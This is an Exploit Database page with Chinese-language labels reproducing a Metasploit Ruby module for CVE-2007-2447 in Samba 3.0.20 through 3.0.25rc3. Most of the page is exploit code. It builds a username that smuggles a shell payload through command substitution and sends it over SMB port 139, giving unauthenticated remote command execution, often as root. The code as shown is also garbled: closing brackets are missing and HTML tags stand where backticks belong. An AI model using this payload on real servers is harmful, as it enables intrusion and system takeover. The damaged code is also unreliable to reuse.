Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2010-08-18
类别：
- remote
平台：
- unix
来源：https://www.exploit-db.com/exploits/16320/

# $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::SMB

# For our customized version of session_setup_ntlmv1

CONST = Rex::Proto::SMB::Constants

CRYPT = Rex::Proto::SMB::Crypt

def initialize(info = {})

super(update_info(info,

'Name' => 'Samba "username map script" Command Execution',

'Description'=> %q{

This module exploits a command execution vulerability in Samba

versions 3.0.20 through 3.0.25rc3 when using the non-default

"username map script" configuration option. By specifying a username

containing shell meta characters, attackers can execute arbitrary

commands.

No authentication is needed to exploit this vulnerability since

this option is used to map usernames prior to authentication!

'Author' => [ 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10040 $',

'References' =>

[

[ 'CVE', '2007-2447' ],

[ 'OSVDB', '34700' ],

[ 'BID', '23972' ],

[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],

[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Privileged' => true, # root or nobody user

'Payload'=>

{

'Space'=> 1024,

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

# *_perl and *_ruby work if they are installed

# mileage may vary from system to system..

}

'Targets'=>

[

[ "Automatic", { } ]

'DefaultTarget'=> 0,

'DisclosureDate' => 'May 14 2007'))

register_options(

[

Opt::RPORT(139)

], self.class)

end

def exploit

connect

# lol?

username = "/=<code>nohup " + payload.encoded + "</code>"

begin

simple.client.negotiate(false)

simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)

rescue ::Timeout::Error, XCEPT::LoginError

# nothing, it either worked or it didn't ;)

end

handler

end